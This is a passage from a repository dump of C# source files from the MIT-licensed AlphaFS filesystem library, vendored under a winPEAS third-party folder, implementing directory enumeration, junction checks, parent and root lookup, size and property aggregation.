     }\n\n\n         // Process folders and files when recursive. \n\n         if (recursive)\n         {\n            foreach (var fsei in EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, SearchOption.AllDirectories, DirectoryEnumerationOptions.AsLongPath, null, pathFormat))\n\n               File.EncryptDecryptFileCore(true, fsei, encrypt, pathFormat);\n         }\n\n         // Process the root folder, the given path.\n\n         File.EncryptDecryptFileCore(true, path, encrypt, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EnumerateFileIdBothDirectoryInfoCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Returns an enumerable collection of information about files in the directory handle specified.</summary>\n      /// <returns>An IEnumerable of <see cref=\"FileIdBothDirectoryInfo\"/> records for each file system entry in the specified diretory.</returns>    \n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <remarks>\n      ///   <para>Either use <paramref name=\"path\"/> or <paramref name=\"safeFileHandle\"/>, not both.</para>\n      ///   <para>\n      ///   The number of files that are returned for each call to GetFileInformationByHandleEx depends on the size of the buffer that is passed to the function.\n      ///   Any subsequent calls to GetFileInformationByHandleEx on the same handle will resume the enumeration operation after the last file is returned.\n      /// </para>\n      /// </remarks>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"safeFileHandle\">An open handle to the directory from which to retrieve information.</param>\n      /// <param name=\"path\">A path to the directory.</param>\n      /// <param name=\"shareMode\">The <see cref=\"FileShare\"/> mode with which to open a handle to the directory.</param>\n      /// <param name=\"continueOnException\"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as ACLs protected directories or non-accessible reparse points.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static IEnumerable<FileIdBothDirectoryInfo> EnumerateFileIdBothDirectoryInfoCore(KernelTransaction transaction, SafeFileHandle safeFileHandle, string path, FileShare shareMode, bool continueOnException, PathFormat pathFormat)\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n\n         var pathLp = path;\n\n         var callerHandle = null != safeFileHandle;\n         if (!callerHandle)\n         {\n            if (Utils.IsNullOrWhiteSpace(path))\n               throw new ArgumentNullException(\"path\");\n\n            pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n            safeFileHandle = File.CreateFileCore(transaction, true, pathLp, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.ReadData, shareMode, true, false, PathFormat.LongFullPath);\n         }\n\n\n         try\n         {\n            if (!NativeMethods.IsValidHandle(safeFileHandle, Marshal.GetLastWin32Error(), !continueOnException))\n               yield break;\n\n            var fileNameOffset = (int) Marshal.OffsetOf(typeof(NativeMethods.FILE_ID_BOTH_DIR_INFO), \"FileName\");\n\n            using (var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.DefaultFileBufferSize))\n            {\n               while (true)\n               {\n                  var success = NativeMethods.GetFileInformationByHandleEx(safeFileHandle, NativeMethods.FILE_INFO_BY_HANDLE_CLASS.FILE_ID_BOTH_DIR_INFO, safeBuffer, (uint) safeBuffer.Capacity);\n\n                  var lastError = Marshal.GetLastWin32Error();\n                  if (!success)\n                  {\n                     switch ((uint) lastError)\n                     {\n                        case Win32Errors.ERROR_SUCCESS:\n                        case Win32Errors.ERROR_NO_MORE_FILES:\n                        case Win32Errors.ERROR_HANDLE_EOF:\n                           yield break;\n\n                        case Win32Errors.ERROR_MORE_DATA:\n                           continue;\n\n                        default:\n                           NativeError.ThrowException(lastError, pathLp);\n\n                           // Keep the compiler happy as we never get here.\n                           yield break;\n                     }\n                  }\n                  \n\n                  var offset = 0;\n                  NativeMethods.FILE_ID_BOTH_DIR_INFO fibdi;\n\n                  do\n                  {\n                     fibdi = safeBuffer.PtrToStructure<NativeMethods.FILE_ID_BOTH_DIR_INFO>(offset);\n\n                     var fileName = safeBuffer.PtrToStringUni(offset + fileNameOffset, (int) (fibdi.FileNameLength / UnicodeEncoding.CharSize));\n\n                     offset += fibdi.NextEntryOffset;\n\n\n                     if (File.IsDirectory(fibdi.FileAttributes) &&\n                         (fileName.Equals(Path.CurrentDirectoryPrefix, StringComparison.Ordinal) ||\n                          fileName.Equals(Path.ParentDirectoryPrefix, StringComparison.Ordinal)))\n                        continue;\n\n\n                     yield return new FileIdBothDirectoryInfo(fibdi, fileName);\n\n                  } while (fibdi.NextEntryOffset != 0);\n               }                           \n            }\n         }\n         finally\n         {\n            // Handle is ours, dispose.\n            if (!callerHandle && null != safeFileHandle && !safeFileHandle.IsClosed)\n               safeFileHandle.Close();\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.EnumerateFileSystemEntryInfosCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of file system entries in a specified path using <see cref=\"DirectoryEnumerationOptions\"/> and <see cref=\"DirectoryEnumerationFilters\"/>.</summary>\n      /// <returns>The matching file system entries. The type of the items is determined by the type <typeparamref name=\"T\"/>.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <typeparam name=\"T\">The type to return. This may be one of the following types:\n      ///    <list type=\"definition\">\n      ///    <item>\n      ///       <term><see cref=\"FileSystemEntryInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"FileSystemEntryInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"FileSystemInfo\"/></term>\n      ///       <description>This method will return instances of <see cref=\"DirectoryInfo\"/> and <see cref=\"FileInfo\"/> instances.</description>\n      ///    </item>\n      ///    <item>\n      ///       <term><see cref=\"string\"/></term>\n      ///       <description>This method will return the full path of each item.</description>\n      ///    </item>\n      /// </list>\n      /// </typeparam>\n      /// <param name=\"onlyFolders\"></param>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///    The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///    This parameter can contain a combination of valid literal path and wildcard\n      ///    (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\"></param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static IEnumerable<T> EnumerateFileSystemEntryInfosCore<T>(bool? onlyFolders, KernelTransaction transaction, string path, string searchPattern, SearchOption? searchOption, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         if (null == options)\n            options = DirectoryEnumerationOptions.None;\n\n\n         if (searchOption == SearchOption.AllDirectories)\n            options |= DirectoryEnumerationOptions.Recursive;\n\n\n         if (null != onlyFolders)\n         {\n            // Adhere to the method name by validating the DirectoryEnumerationOptions value.\n            // For example, method Directory.EnumerateDirectories() should only return folders\n            // and method Directory.EnumerateFiles() should only return files.\n\n\n            // Folders only.\n            if ((bool) onlyFolders)\n            {\n               options &= ~DirectoryEnumerationOptions.Files;  // Remove enumeration of files.\n               options |= DirectoryEnumerationOptions.Folders; // Add enumeration of folders.\n            }\n\n            // Files only.\n            else\n            {\n               options &= ~DirectoryEnumerationOptions.Folders; // Remove enumeration of folders.\n               options |= DirectoryEnumerationOptions.Files;    // Add enumeration of files.\n            }\n         }\n         \n\n         return new FindFileSystemEntryInfo(transaction, true, path, searchPattern, options, filters, pathFormat, typeof(T)).Enumerate<T>();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.ExistsJunctionCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"fsEntryInfo\">A FileSystemEntryInfo instance. Use either <paramref name=\"fsEntryInfo\"/> or <paramref name=\"junctionPath\"/>, not both.</param>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static bool ExistsJunctionCore(KernelTransaction transaction, FileSystemEntryInfo fsEntryInfo, string junctionPath, PathFormat pathFormat)\n      {\n         if (null == fsEntryInfo)\n         {\n            if (pathFormat != PathFormat.LongFullPath)\n            {\n               Path.CheckSupportedPathFormat(junctionPath, true, true);\n\n               junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.RemoveTrailingDirectorySeparator);\n\n               pathFormat = PathFormat.LongFullPath;\n            }\n\n\n            fsEntryInfo = File.GetFileSystemEntryInfoCore(transaction, true, junctionPath, true, pathFormat);\n         }\n\n\n         return null != fsEntryInfo && fsEntryInfo.IsMountPoint;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetDirectoryRootCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Returns the volume information, root information, or both for the specified path.</summary>\n      /// <returns>The volume information, root information, or both for the specified path, or <c>null</c> if <paramref name=\"path\"/> path does not contain root directory information.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path of a file or directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static string GetDirectoryRootCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         var pathLp = path;\n\n         if (pathFormat != PathFormat.LongFullPath)\n         {\n            Path.CheckInvalidUncPath(path);\n\n            pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.CheckInvalidPathChars);\n\n            pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false);\n         }\n         \n\n         var rootPath = Path.GetPathRoot(pathLp, false);\n\n         return Utils.IsNullOrWhiteSpace(rootPath) ? null : rootPath;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetParentCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Retrieves the parent directory of the specified path, including both absolute and relative paths.</summary>\n      /// <returns>The parent directory, or <c>null</c> if <paramref name=\"path\"/> is the root directory, including the root of a UNC server or share name.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path for which to retrieve the parent directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static DirectoryInfo GetParentCore(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         var pathLp = pathFormat == PathFormat.LongFullPath ? path : Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.CheckInvalidPathChars);\n\n         pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false);\n\n         var dirName = Path.GetDirectoryName(pathLp, false);\n\n         return !Utils.IsNullOrWhiteSpace(dirName) ? new DirectoryInfo(transaction, dirName, PathFormat.RelativePath) : null;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetPropertiesCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The target directory.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static Dictionary<string, long> GetPropertiesCore(KernelTransaction transaction, string path, DirectoryEnumerationOptions? options, PathFormat pathFormat)\n      {\n         long total = 0;\n         long size = 0;\n\n         const string propFile = \"File\";\n         const string propTotal = \"Total\";\n         const string propSize = \"Size\";\n         \n         var typeOfAttrs = typeof(FileAttributes);\n         var attributes = Enum.GetValues(typeOfAttrs);\n         var props = Enum.GetNames(typeOfAttrs).OrderBy(attrs => attrs).ToDictionary<string, string, long>(name => name, name => 0);\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n\n         foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, transaction, pathLp, Path.WildcardStarMatchAll, null, options,  null, PathFormat.LongFullPath))\n         {\n            total++;\n\n            if (!fsei.IsDirectory)\n               size += fsei.FileSize;\n\n            var fsei1 = fsei;\n\n            foreach (var attributeMarker in attributes.Cast<FileAttributes>().Where(attributeMarker => (fsei1.Attributes & attributeMarker) != 0))\n\n               props[((attributeMarker & FileAttributes.Directory) != 0 ? FileAttributes.Directory : attributeMarker).ToString()]++;\n         }\n\n         // Adjust regular files count.\n         props.Add(propFile, total - props[FileAttributes.Directory.ToString()] - props[FileAttributes.ReparsePoint.ToString()]);\n         props.Add(propTotal, total);\n         props.Add(propSize, size);\n\n         return props;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetSizeCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Collections.ObjectModel;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>Retrieves the size of all alternate data streams of the specified directory and it files.</summary>\n      /// <returns>The size of all alternate data streams of the specified directory and its files.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the directory.</param>\n      /// <param name=\"sizeOfAllStreams\"><c>true</c> to retrieve the size of all alternate data streams, <c>false</c> to get the size of the first stream.</param>\n      /// <param name=\"recursive\"><c>true</c> to include subdirectories.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static long GetSizeCore(KernelTransaction transaction, string path, bool sizeOfAllStreams, bool recursive, PathFormat pathFormat)\n      {\n         var streamSizes = new Collection<long>();\n\n         var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n\n         var enumOptions = (recursive ? DirectoryEnumerationOptions.Recursive : DirectoryEnumerationOptions.None) | DirectoryEnumerationOptions.SkipReparsePoints;\n\n         if (sizeOfAllStreams)\n         {\n            enumOptions |= DirectoryEnumerationOptions.FilesAndFolders;\n\n            streamSizes.Add(File.FindAllStreamsCore(transaction, pathLp));\n         }\n\n         else\n            enumOptions |= DirectoryEnumerationOptions.Files;\n\n\n         foreach (var fsei in EnumerateFileSystemEntryInfosCore<FileSystemEntryInfo>(null, transaction, pathLp, Path.WildcardStarMatchAll, null, enumOptions, null, PathFormat.LongFullPath))\n         {\n            // Although tempting, AlphaFS does not use the fsei.FileSize property.\n            //\n            // https://blogs.msdn.microsoft.com/oldnewthing/20111226-00/?p=8813/\n            // \"The directory-enumeration functions report the last-updated metadata, which may not correspond to the actual metadata if the directory entry is stale. \n\n\n            streamSizes.Add(sizeOfAllStreams ? File.FindAllStreamsCore(transaction, fsei.LongFullPath) : File.GetSizeCore(null, transaction, fsei.LongFullPath, false, PathFormat.LongFullPath));\n         }\n\n\n         return streamSizes.Sum();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.IsEmptyCore.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> when the directory contains no file system objects.</para>\n      ///   <para>Returns <c>false</c> when directory contains at least one file system object.</para>\n      /// </returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"directoryPath\">The path to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      internal static bool IsEmptyCore(KernelTransaction transaction, string directoryPath, PathFormat pathFormat)\n      {\n         return !EnumerateFileSystemEntryInfosCore<string>(null, transaction, directoryPath, Path.WildcardStarMatchAll, null, null, null, 